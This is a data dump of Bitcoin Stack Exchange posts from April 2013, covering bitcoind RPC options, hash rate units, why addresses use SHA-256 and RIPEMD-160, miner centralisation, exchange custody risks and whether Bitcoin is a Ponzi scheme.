  <row Id="9186" PostTypeId="1" AcceptedAnswerId="9188" CreationDate="2013-04-05T13:38:03.837" Score="0" ViewCount="122" Body="&lt;p&gt;Can I somehow force bitcoin to include the script with &lt;code&gt;getblock&lt;/code&gt; call?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see that here &lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/886&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/pull/886&lt;/a&gt; and here &lt;a href=&quot;https://bitcointalk.org/index.php?topic=89725.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=89725.0&lt;/a&gt; there is indicated that it is possible with &lt;code&gt;'{&quot;tx&quot;:&quot;obj&quot;, &quot;script&quot;:&quot;asm&quot;}'&lt;/code&gt; option, but currently that returns error from bitcoind.&lt;/p&gt;&#xA;" OwnerUserId="1760" LastActivityDate="2013-04-05T13:47:04.670" Title="Can I somehow force bitcoind to do decomposition with getblock?" Tags="|bitcoind|block|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9187" PostTypeId="2" ParentId="9184" CreationDate="2013-04-05T13:45:02.353" Score="3" Body="&lt;p&gt;You'd better ask it on the &lt;a href=&quot;https://apple.stackexchange.com/&quot;&gt;Apple SE&lt;/a&gt;, since apparently Bitcoin is not the core of this question, i.e. this could have happened with any software requiring Java.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, you could simply chose not to use Multibit: switch to another client, be it a desktop client or an online wallet.&lt;/p&gt;&#xA;" OwnerUserId="196" LastEditorUserId="-1" LastEditDate="2017-04-13T12:45:32.430" LastActivityDate="2013-04-05T13:45:02.353" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9188" PostTypeId="2" ParentId="9186" CreationDate="2013-04-05T13:47:04.670" Score="0" Body="&lt;p&gt;By looking at the source code here&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/src/bitcoinrps.cpp&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/blob/master/src/bitcoinrps.cpp&lt;/a&gt;&#xA;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/src/rpcblockchain.cpp&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/blob/master/src/rpcblockchain.cpp&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and comparing it to the code in the pull request in the question&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/886/files&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/pull/886/files&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it seems like it is NOT possible in the code today. Oh well.&lt;/p&gt;&#xA;" OwnerUserId="1760" LastActivityDate="2013-04-05T13:47:04.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9189" PostTypeId="2" ParentId="9179" CreationDate="2013-04-05T15:09:10.847" Score="0" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Nothing prevents criminals from dumping their money into bitcoins, doing a few transactions, and pulling it back out as &quot;clean&quot;. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Though, I guess if the gov't was smart enough, they would watch the criminals. Wait for them to transact with a major exchange (might have the exchange have to tell the gov't about large transactions) then see they are trying to dump this money into btc and stop the exchange from completing the request. Either by arresting the criminal or shutting down the exchange. But that is a whole lot of work just to catch a single criminal. It would only be worth it if millions were trying to be laundered. If so, as a criminal, you would split that up to try and not get caught, or fly under the radar.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This is a stretch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if the government really wanted to gain control over bitcoin and the economy they would have to do it like everyone else and gain 51% control over the network. With their wealth and power it might be easy for them to do, but at the cost of millions of dollars not going elsewhere in the state/nation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And still with 51% control they cannot do much. They can only fork the blockchain(+ something more I am not sure of). But once that happens everyone will get wise and just not listen to them when they try to declare a block. &lt;/p&gt;&#xA;" OwnerUserId="2931" LastActivityDate="2013-04-05T15:09:10.847" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9190" PostTypeId="2" ParentId="9179" CreationDate="2013-04-05T16:17:54.847" Score="3" Body="&lt;p&gt;As is, the US has a voluntary income tax.  You fill out forms, determine how much you owe, and pay it.  If the government suspects that you're wrong, you get audited.  So with bitcoins, it would be the same.  You would determine your income and pay Uncle Sam his due.  But you have to pay in USD, not BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cash transactions and bartering income already have to deal with this, but with bitcoins the scale would grow.&lt;/p&gt;&#xA;" OwnerUserId="1507" LastActivityDate="2013-04-05T16:17:54.847" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9192" PostTypeId="1" AcceptedAnswerId="9195" CreationDate="2013-04-05T16:44:25.863" Score="-3" ViewCount="354" Body="&lt;p&gt;There are some valid points in this video:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.youtube.com/watch?v=0UKC7iaBKvs&quot; rel=&quot;nofollow&quot;&gt;http://www.youtube.com/watch?v=0UKC7iaBKvs&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How come there were 6 million BTCs already in existence when the project started? Who owns them? That's now the equivalent of almost 1 billion $.&lt;/p&gt;&#xA;" OwnerUserId="3956" LastActivityDate="2013-04-05T17:28:56.260" Title="Could Bitcoin be a Ponzi scheme?" Tags="|economic-theory|buy-bitcoins|fraud|" AnswerCount="1" CommentCount="9" ClosedDate="2013-04-07T10:23:55.700" ContentLicense="CC BY-SA 3.0" />
  <row Id="9194" PostTypeId="2" ParentId="8875" CreationDate="2013-04-05T16:47:51.487" Score="0" Body="&lt;p&gt;Okay, supposing Pear inc do create iBitcoins using the protocol you suggest.  I would expect that BTC2 would plummet on the currency exchange relative to BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's why:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;BTC2 can be printed by Pear inc and nobody trusts them.&lt;/li&gt;&#xA;&lt;li&gt;1BTC2 must be worth &amp;lt; 1BTC since the spender could just spend the BTC directly in the BTC2 blockchain&lt;/li&gt;&#xA;&lt;li&gt;1BTC2 must be worth &amp;lt; 0.5 BTC since the spender could swap the BTC in the BTC blockchain for another BTC &lt;em&gt;after&lt;/em&gt; spending it in the BTC2 blockchain&lt;/li&gt;&#xA;&lt;li&gt;1BTC2 must be worth &amp;lt; 0.25 BTC for similar reason&lt;/li&gt;&#xA;&lt;li&gt;and so on&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Of course, this only shows that the particular &quot;embrace, extend, extinguish&quot; attack you describe will not work.  They may be others that will.  What I think is needed is a Bitcoin vulnerability database....&lt;/p&gt;&#xA;" OwnerUserId="3766" LastActivityDate="2013-04-05T16:47:51.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9195" PostTypeId="2" ParentId="9192" CreationDate="2013-04-05T17:17:47.080" Score="6" Body="&lt;p&gt;There were only about 2 million Bitcoins mined when the system was fully announced and opened to the public. They are owned by Satoshi and other early adopters. While they have a huge &lt;em&gt;present&lt;/em&gt; value, that's because their value increased.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Long after the Bitcoin system was public, Bitcoins dropped down to $2. At that time, the value of the early adopters Bitcoins was around $4 million at most. Their position increased in value the same way non-early adopters who bought Bitcoins found their positions go up in value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not for early adopters, there would be no Bitcoin today. The currency needed to be bootstrapped by people who mined it (to secure its transactions) and promoted it. Bitcoin is what it is today because they took risks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for whether or not Bitcoin is a Ponzi scheme, that completely depends on whether you think it's reasonable to believe that Bitcoin's usefulness as a payment method will eventually bring in real value. If you don't, then the only way people who buy Bitcoins can profit is from other people buying those Bitcoins from them for more money with no real value being added, which is the crux of a Ponzi scheme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My opinion is that the belief that Bitcoin will add real value as a payment method is reasonable and thus Bitcoin is not a Ponzi scheme. Bitcoin's irreversible, pseudonymous transactions that can take place across the world as easily as across a street have the potential to add significant value to the world economy. Those who hold Bitcoins may reasonably expect to be investing in a share of that added value. Anything that has a realistic chance of adding significant value cannot be a Ponzi scheme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pretty much all of the characteristics of Bitcoin that you mention are shared by many successful businesses. People who bought Apple stock early made a lot of money. The founders got lots of Apple stock without having to pay for it because they created it. Risk was rewarded. And so on.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2013-04-05T17:28:56.260" LastActivityDate="2013-04-05T17:28:56.260" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9196" PostTypeId="1" CreationDate="2013-04-05T17:18:33.177" Score="4" ViewCount="211" Body="&lt;p&gt;Complete Bitcoin noob here. What are the advantages of having a large network of miners on the Bitcoin network? Why not have a limited number of super-peers that comprise the network? Isn't that the direction that things are heading anyway, given that only a select few will have access to the dedicated hardware?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; Edited my question to indicate I'm referring specifically to the number of miners on the network.&lt;/p&gt;&#xA;" OwnerUserId="3959" LastEditorUserId="3959" LastEditDate="2013-04-05T17:48:45.743" LastActivityDate="2013-04-05T21:14:10.170" Title="Why grow the Bitcoin miner network?" Tags="|network|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9197" PostTypeId="2" ParentId="9196" CreationDate="2013-04-05T17:22:27.153" Score="2" Body="&lt;p&gt;Centralization leads to vulnerability. The fewer nodes active at any given time, the fewer nodes any attacker would need to take over in order to control a majority of the network. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also see &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/658/what-can-an-attacker-with-51-of-hash-power-do&quot;&gt;this&lt;/a&gt; question.&lt;/p&gt;&#xA;" OwnerUserId="1171" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2013-04-05T17:22:27.153" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9198" PostTypeId="2" ParentId="9196" CreationDate="2013-04-05T17:34:07.560" Score="0" Body="&lt;p&gt;You might be confusing the roles of the blockchain and miners.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Miners are purchasing specialized hardware (known as ASICs) to mine for blocks more efficiently. This has no effect on the rate of block generation because the network auto adjusts difficulty every 2016 blocks (about 2 weeks).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By contrast, the blockchain can be hosted by any computer without specific hardware and is downloaded when you use a &quot;full&quot; client like bitcoin-qt. Because the blockchain is hosted everywhere, it would be near impossible to wipe it out, which is a good thing for a public ledger.&lt;/p&gt;&#xA;" OwnerUserId="3413" LastActivityDate="2013-04-05T17:34:07.560" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9199" PostTypeId="2" ParentId="9177" CreationDate="2013-04-05T17:37:55.983" Score="0" Body="&lt;p&gt;Primarily the differences between Litecoin and Bitcoin are reduced block generation time and use of scrypt in place of SHA256.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not the Litecoin requires less power as much as the difficulty rate is much lower due to less mining power. Bitcoins used to be mined on CPUs, but the introduction of GPU mining essentially put that to an end.&lt;/p&gt;&#xA;" OwnerUserId="3413" LastActivityDate="2013-04-05T17:37:55.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9200" PostTypeId="2" ParentId="9174" CreationDate="2013-04-05T17:43:25.150" Score="1" Body="&lt;p&gt;MtGox doesn't convert funds. The only way to obtain USD would be to open a USD wallet, transfer the bitcoins there, and sell them. But then you have to figure out how best to withdraw the funds, which may be tricky.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're converting to obtain local currency for travel, consider using &lt;a href=&quot;http://localbitcoins.com&quot; rel=&quot;nofollow&quot;&gt;http://localbitcoins.com&lt;/a&gt; upon arrival. You'll receive cash instantly and can avoid dealing with any banks or trading firms.&lt;/p&gt;&#xA;" OwnerUserId="3413" LastActivityDate="2013-04-05T17:43:25.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9201" PostTypeId="2" ParentId="9148" CreationDate="2013-04-05T17:53:02.680" Score="8" Body="&lt;p&gt;ASICminer did decide to keep the hardware and mine. They're selling shares with intent to payout the dividends from whatever profit is made.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, Avalon and BFL didn't choose the same path. As to why, some people believe it's far better to &quot;sell the shovel&quot; than &quot;dig for gold&quot;. No one knows what the exchange rate or mining difficulty will be in 3 months (things that affect profits for miners, along with electricity), but none of that matters to the hardware companies, since their profit will already be in the bank.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the increased difficulty is precisely why the machines won't pay for themselves in 5 days. The might if you had one right now, when difficulty is low. But the network hash rate is going to increase by a large factor once all the ASICs have shipped by this summer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Eventually, your single 50GH/s machine will be unprofitable as new, more efficient technology debuts and the network difficulty continues to climb.&lt;/p&gt;&#xA;" OwnerUserId="3413" LastActivityDate="2013-04-05T17:53:02.680" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9202" PostTypeId="1" AcceptedAnswerId="9216" CreationDate="2013-04-05T18:00:06.710" Score="34" ViewCount="17939" Body="&lt;p&gt;Why do we use 2 hash functions (both SHA and RIPEMD) to create an address? Why not just use one hash function?&lt;/p&gt;&#xA;" OwnerUserId="3784" LastEditorUserId="1171" LastEditDate="2013-04-05T18:05:48.190" LastActivityDate="2022-02-24T01:15:45.167" Title="Why does Bitcoin use two hash functions (SHA-256 and RIPEMD-160) to create an address?" Tags="|address|hash|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9203" PostTypeId="2" ParentId="9202" CreationDate="2013-04-05T18:03:14.157" Score="10" Body="&lt;p&gt;Except from &lt;a href=&quot;https://bitcoin.stackexchange.com/a/8461/2306&quot;&gt;Where is Double hashing performed in Bitcoin?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;So why does he hash twice? I suspect it's in order to prevent&#xA;  length-extension attacks.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;SHA-2, like all Merkle-Damgard hashes suffers from a property called&#xA;  &quot;length-extension&quot;. This allows an attacker who knows H(x) to&#xA;  calculate H(x||y) without knowing x. This is usually not a problem,&#xA;  but there are some uses where it totally breaks the security. The most&#xA;  relevant example is using H(k||m) as MAC, where an attacker can easily&#xA;  calculate a MAC for m||m'. I don't think Bitcoin ever uses hashes in a&#xA;  way that would suffer from length extensions, but I guess Satoshi went&#xA;  with the safe choice of preventing it everywhere.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;To avoid this property, Ferguson and Schneier suggested using SHA256d&#xA;  = SHA256(SHA256(x)) which avoids length-extension attacks. This construction has some minor weaknesses (not relevant to bitcoin), so I&#xA;  wouldn't recommend it for new protocols, and would use HMAC with&#xA;  constant key, or truncated SHA512 instead.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Answered by CodesInChaos&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2013-04-05T18:03:14.157" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9204" PostTypeId="1" CreationDate="2013-04-05T18:07:39.543" Score="6" ViewCount="589" Body="&lt;p&gt;Bitfloor, mtgox and others allow me to keep a balance of both btc and usd that is not being traded. So the usd is apparently in the hands of the exchange company rather than at my bank. This is an advantage because it allows me to quickly buy in and out of btc without waiting for a wire transfer or paying for something like bitinstant. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is my usd held by the exchange protected in anyway from hacking or other losses, the way it is at my bank?&lt;/p&gt;&#xA;" OwnerUserId="3896" LastActivityDate="2013-11-26T23:01:06.323" Title="What are the risks of keeping USD in an exchange account?" Tags="|exchanges|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9205" PostTypeId="2" ParentId="9157" CreationDate="2013-04-05T18:09:06.783" Score="2" Body="&lt;p&gt;There's an estimated block generation time of 10 minutes, however, due to the randomness of finding the block, there may be an hour gap between blocks followed by 3 within 10 minutes. It's never predictable at a specific given time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, miners prefer transactions with fees attached, because the fees are paid back to the miners. This incentive will become more important as the mining reward continues to halve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are other factors that do contribute, but the two above are by-far the most influential.&lt;/p&gt;&#xA;" OwnerUserId="3413" LastActivityDate="2013-04-05T18:09:06.783" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9206" PostTypeId="2" ParentId="9142" CreationDate="2013-04-05T18:11:48.873" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;From the above, it seems that the balance of every Bitcoin address can theoretically be inferred from the public logs.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In fact, this is precisely how the balances of addresses are calculated. Bitcoins pop into existence when a block is mined and all transfer of those coins are recorded. This is how we keep track of which address &quot;owns&quot; what.&lt;/p&gt;&#xA;" OwnerUserId="3413" LastActivityDate="2013-04-05T18:11:48.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9207" PostTypeId="1" CreationDate="2013-04-05T18:46:41.287" Score="-1" ViewCount="187" Body="&lt;p&gt;Answers a plenty!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because it broke $1b market cap?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because it was on many financial paper front pages?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because all the usual suspects (forex watchers) saw a bubble coming?&lt;/p&gt;&#xA;" OwnerUserId="3896" LastActivityDate="2013-04-05T18:47:51.587" Title="Why did bitcoin rise so sharply in the last week?" Tags="|market|" AnswerCount="1" CommentCount="1" ClosedDate="2013-04-07T10:24:05.483" ContentLicense="CC BY-SA 3.0" />
  <row Id="9208" PostTypeId="2" ParentId="9207" CreationDate="2013-04-05T18:47:51.587" Score="1" Body="&lt;p&gt;A large number of people in certain countries in Europe have begun using BTC as a place to shelter some of their financial holdings from government seizure.&lt;/p&gt;&#xA;" OwnerUserId="3483" LastActivityDate="2013-04-05T18:47:51.587" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9209" PostTypeId="1" CreationDate="2013-04-05T19:00:47.120" Score="0" ViewCount="486" Body="&lt;p&gt;Simple question for newbies. Which other alternative currencies (crypto and others) are possible candidates for a surge in popularity?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any reason that bitcoin will always dominate the alt currencies or is it just one of many contenders waiting to be discovered by the masses any day now?&lt;/p&gt;&#xA;" OwnerUserId="3896" LastActivityDate="2013-04-05T21:47:28.713" Title="Which alternative currencies might experience a sharp rise in popularity like bitcoin recently did?" Tags="|alternatives|" AnswerCount="3" CommentCount="1" ClosedDate="2013-04-14T11:07:38.377" ContentLicense="CC BY-SA 3.0" />
  <row Id="9211" PostTypeId="1" AcceptedAnswerId="9229" CreationDate="2013-04-05T20:01:26.613" Score="2" ViewCount="612" Body="&lt;p&gt;This may not be a Bitcoin-specific question, but I still think it's better to ask it here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've seen discussions about accepting unconfirmed transactions, that it should not be done because of double-spend risks and such, but they also say that it's risky in non-recourse transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, what exactly is a non-recourse transaction? Is it related to whether the address is trustful? Or does it mean anything else?&lt;/p&gt;&#xA;" OwnerUserId="3919" LastActivityDate="2013-04-06T23:51:13.023" Title="What are recourse or non-recourse transactions?" Tags="|transactions|confirmations|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9212" PostTypeId="2" ParentId="9204" CreationDate="2013-04-05T20:31:44.780" Score="3" Body="&lt;p&gt;Each exchange can be different.  Essentially with every bit of funds held at an exchange, either fiat or bitcoins, the account holder becomes an unsecured creditor of the exchange. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regulated exchanges of other securities, commodities and currencies and brokers of those exchanges have clear instruction to keep customer funds segregated from the operating funds so that those funds are not at risk if the exchange itself runs into financial issues.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whether any of these regulations affect a Bitcoin exchange or brokerage may vary based on jurisdiction.  It is possible these exchanges are operating without any regulatory oversight and thus no guarantee that they are holding all customers funds without lending those funds out or using those to fund operations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An exchange that accepts deposits from an &lt;a href=&quot;http://en.bitcoin.it/wiki/A2A_Transfer_Methods&quot; rel=&quot;nofollow noreferrer&quot;&gt;account-to-account (A2A)&lt;/a&gt; transfer could help lessen the risk.  For instance, Camp BX and Mt. Gox accept deposits from Dwolla.  So holding dollars at Dwolla until they will be used for trading is one approach to lessening the risk of keeping the funds at the exchange the whole time.   BitFloor accepts CapitalOne 360/ING transfers, as another A2A example.  And multiple exchanges accept transfers from OKPay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally there are site security concerns.  If the service gets hacked, or an individual account gets hacked, those funds could be used to buy bitcoins and withdrawn -- with the losses assessed to the account holder.  Use of &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/4113&quot;&gt;two-factor authentication&lt;/a&gt; is essential a core requirement.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2013-04-18T13:50:01.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9213" PostTypeId="2" ParentId="9209" CreationDate="2013-04-05T20:48:54.293" Score="1" Body="&lt;p&gt;there is no real way to predict where the market goes. Therefore it is a question without an answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The part about bitcoin surge is just a question of supply and demand. bitcoin doesn't really have a value. the value lies in the demand from people hoarding or spending them and the supply from miners and/or brokers. It is now in high demand so it's high in price.If by popularity you mean a hyper deflation. Well then yes. bitcoin will probably always dominate the others.&lt;/p&gt;&#xA;" OwnerUserId="3968" LastActivityDate="2013-04-05T20:48:54.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9214" PostTypeId="2" ParentId="9209" CreationDate="2013-04-05T20:52:32.360" Score="0" Body="&lt;p&gt;Litecoin, Lxcoin, Terracoin, PPcoin &amp;amp; maybe Liquidcoin which ever come first. But for now seeing as Litecoins are cheaper and easier to mine that maybe next boom in alternative cryptocurrencies.&lt;/p&gt;&#xA;" OwnerUserId="3969" LastEditorUserId="516" LastEditDate="2013-04-05T21:09:21.357" LastActivityDate="2013-04-05T21:09:21.357" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9215" PostTypeId="1" AcceptedAnswerId="9227" CreationDate="2013-04-05T21:03:20.300" Score="4" ViewCount="331" Body="&lt;p&gt;Could miners with enough mining powers (say &gt;95% of all blocks) form a cartel where they demand absurdly high transaction fees? Of course, I still could could hope for a miner not in that cartel to relay my transaction for a lower fee, but in that case I couldn't be sure &lt;em&gt;when&lt;/em&gt; my transaction gets paid to the adressee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a plausible scenario?&lt;/p&gt;&#xA;" OwnerUserId="3866" LastEditorUserId="5406" LastEditDate="2016-04-25T15:40:13.877" LastActivityDate="2021-11-16T18:27:10.593" Title="Could miners create a cartel to raise transaction fees?" Tags="|mining-pools|transaction-fees|mining-theory|majority-attack|blockspace-market|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9216" PostTypeId="2" ParentId="9202" CreationDate="2013-04-05T21:03:49.023" Score="32" Body="&lt;p&gt;RIPEMD was used because it produces the shortest hashes whose uniqueness is still sufficiently assured. This allows Bitcoin addresses to be shorter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SHA256 is used as well because Bitcoin's use of a hash of a public key might create unique weaknesses due to unexpected interactions between RIPEMD and ECDSA (the public key signature algorithm). Interposing an additional and very different hash operation between RIPEMD and ECDSA makes it almost inconceivable that there might be a way to find address collisions that is significantly easier than brute force trying a large number of secret keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially, it was a belt and suspenders approach. Bitcoin had to do something unique and rather than have to hope they got it exactly right, they overdesigned it.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-04-05T21:03:49.023" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="9217" PostTypeId="2" ParentId="9196" CreationDate="2013-04-05T21:14:10.170" Score="3" Body="&lt;p&gt;If there were fewer miners, Bitcoin would be less reliable and you'd have to wait much longer to get the same level of security against a double-spending attack. We need as much mining as possible because mining secures the blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I have 10 Bitcoins, I must be able to send them to Jeff. Otherwise, I don't have 10 Bitcoins. If I have 10 Bitcoins, I must be able to set them to Mary. Otherwise, I don't have 10 Bitcoins. But if I could send them to both Jeff and Mary, the system would break. So somehow, sending them to Jeff must prevent me from sending them to Mary too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin does this by having miners pick one of those transactions and heap a massive amount of computations on top of it. Among valid blockchains, Bitcoin prefers the one that likely took the most calculations to do. Miners pile calculations on top of the legitimate block chain to distinguish it from alternate chains. To &quot;undo&quot; a Bitcoin transaction, you must pile more computations on top of it than the rest of the miners combined piled on top of the legitimate chain that includes that transaction. The more mining, the faster you can accumulate sufficient calculations that undoing a transaction is impractical.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-04-05T21:14:10.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9218" PostTypeId="2" ParentId="9215" CreationDate="2013-04-05T21:17:15.073" Score="4" Body="&lt;p&gt;Miners have huge investments in hardware that can only be used to mine Bitcoins. They have no incentive to do things that reduce the value and usability of Bitcoins. Any &quot;mining cartel&quot; with the power to get 95% of the hashing power to take collective action in non-emergency circumstances would create enough fears about 51% attacks and the like that it would drastically reduce the value of the Bitcoin system and greatly encourage competitors. So while this is theoretically possible, it's unlikely in the extreme.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-04-05T21:17:15.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9219" PostTypeId="1" CreationDate="2013-04-05T21:40:32.690" Score="59" ViewCount="1004057" Body="&lt;p&gt;I started mining on a friend's computer and it shows 300 kH/s. But when I research other peoples' hash rates I usually see MH/s. Are these speeds the same as kilobytes and megabytes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, when I say 300 kH/s does that mean 300,000 Hashes generated per second? &lt;/p&gt;&#xA;" OwnerUserId="3773" LastEditorUserId="5406" LastEditDate="2016-02-17T20:58:42.320" LastActivityDate="2018-04-16T04:57:51.170" Title="What is the difference between kH/s, MH/s, and GH/s?" Tags="|hashpower|terminology|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9220" PostTypeId="2" ParentId="9219" CreationDate="2013-04-05T21:42:29.837" Score="59" Body="&lt;p&gt;Sure:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;1 kH/s is 1,000 hashes per second (sometimes mistakenly written KH/s).&lt;/li&gt;&#xA;&lt;li&gt;1 MH/s is 1,000,000 hashes per second.&lt;/li&gt;&#xA;&lt;li&gt;1 GH/s is 1,000,000,000 hashes per second.&lt;/li&gt;&#xA;&lt;li&gt;1 TH/s is 1,000,000,000,000 hashes per second.&lt;/li&gt;&#xA;&lt;li&gt;1 PH/s is 1,000,000,000,000,000 hashes per second.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="132" LastEditorUserId="5406" LastEditDate="2014-10-02T16:32:20.143" LastActivityDate="2014-10-02T16:32:20.143" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9221" PostTypeId="2" ParentId="9219" CreationDate="2013-04-05T21:42:33.983" Score="5" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;kH/s&lt;/code&gt; means thousands of hashes per second. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;MH/s&lt;/code&gt; means millions of hashes per second. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;GH/s&lt;/code&gt; means billions of hashes per second. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Therefore, &lt;code&gt;300 kH/s&lt;/code&gt; are 300,000 hashes per second or 0.3 MH/s.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="5406" LastEditDate="2017-07-05T04:25:01.163" LastActivityDate="2017-07-05T04:25:01.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
